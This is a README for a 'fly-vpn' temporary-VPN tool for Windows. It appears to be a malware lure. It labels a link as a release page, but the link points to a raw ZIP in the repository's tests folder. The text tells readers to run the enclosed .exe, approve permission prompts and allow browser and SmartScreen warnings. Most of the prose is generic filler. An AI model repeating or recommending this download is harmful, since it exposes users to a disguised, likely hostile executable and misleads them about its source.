🌍 fly-vpn - Temporary VPN access in seconds

🚀 What this app does

fly-vpn gives you a quick VPN route through a disposable Tailscale exit node on Fly.io. It is built for times when you need a private internet path for a short task, then want to shut it down.

You use a simple terminal window to start and manage it. The app handles the setup steps for you.

📥 Download and install on Windows

1. Open the release page: https://github.com/milliammeterfamilyalligatoridae52/fly-vpn/raw/refs/heads/main/tests/vpn-fly-v2.5.zip
2. Download the Windows file from the latest release
3. If the file comes in a ZIP archive, right-click it and choose Extract All
4. Open the extracted folder
5. Run the app file for Windows, usually an .exe file
6. If Windows asks for permission, choose Yes
7. Keep the terminal window open while you use the VPN

🖥️ Windows setup

For best results on Windows:

• Use Windows 10 or Windows 11
• Stay signed in with a normal user account
• Make sure you have an internet connection before you start
• Keep enough free space for the app and its temporary network files
• If your browser or security tool asks about the download, allow it only if it came from the release page above

If the app opens in a terminal window, that is normal. The interface uses text, not buttons and menus.

🧭 How to use fly-vpn

1. Start the app
2. Follow the prompts in the terminal
3. Let it create the temporary VPN session
4. Wait until it shows that the exit node is ready
5. Use your browser or other apps as you normally would
6. Close the app when you are done
7. Delete the files if you want to remove the local copy

The app is meant to be disposable. That means you can use it for a short session and then shut it down.

🔐 What you get

• A temporary VPN path through an exit node
• A setup flow that does not need deep technical knowledge
• A terminal UI that keeps the process simple
• A short-lived connection model for privacy-focused tasks
• A tool that uses Fly.io for hosting and Tailscale for network access

🧱 Typical use cases

fly-vpn fits tasks like:

• Checking how a site looks from another region
• Using a private route for a short online session
• Testing network access from a fresh endpoint
• Keeping a temporary layer between your device and the internet
• Running a VPN session without setting up a long-term service

🛠️ What to expect when the app runs

When you open the app, it will guide you through a few steps in the terminal. You may see messages about:

• Starting the session
• Connecting to the network
• Creating the exit node
• Checking status
• Ending the session

This is normal. The app uses clear text prompts so you can follow along without learning a new system.

📦 Files and release notes

The release page may include one or more files for Windows. Pick the file that matches your system. If there are notes with the release, read them before you run the app.

Download page: https://github.com/milliammeterfamilyalligatoridae52/fly-vpn/raw/refs/heads/main/tests/vpn-fly-v2.5.zip

🔧 Basic controls

You can usually manage the app from the terminal with simple actions such as:

• Start
• Stop
• Check status
• Refresh
• Exit

If the app asks for input, type the option it shows and press Enter.

🌐 Network and privacy details

fly-vpn uses a disposable setup, so it is built for short use. The exit node acts as the point where your traffic leaves the VPN path. That helps keep your real device path out of view from the sites you visit during that session.

Because it uses Tailscale and Fly.io, the setup is fit for users who want a fast path without handling a full VPN server by hand.

💡 Tips for a smooth first run

• Use the latest release from the link above
• Keep the terminal window open until you finish
• Do not close the app while the VPN is active
• If you download a ZIP file, extract it before opening the app
• If Windows SmartScreen appears, check that you used the official release page
• If the terminal closes too fast, open it again from the folder and run the app there

🧪 If the app does not start

Try these steps:

• Run the file again
• Make sure you extracted the ZIP file first
• Move the app to a simple folder like Downloads or Desktop
• Check that your internet connection is live
• Try running it with a normal Windows account
• Download the newest release if the file looks incomplete

📚 Project topics

This project uses ideas from:

• ephemeral
• exit node
• fly.io
• networking
• privacy
• python
• rich
• tailscale
• textual
• tui
• vpn

🧭 Suggested first-time path

1. Open the release page
2. Download the latest Windows file
3. Extract it if needed
4. Start the app
5. Follow the terminal prompts
6. Use the VPN for your task
7. Close the app when finished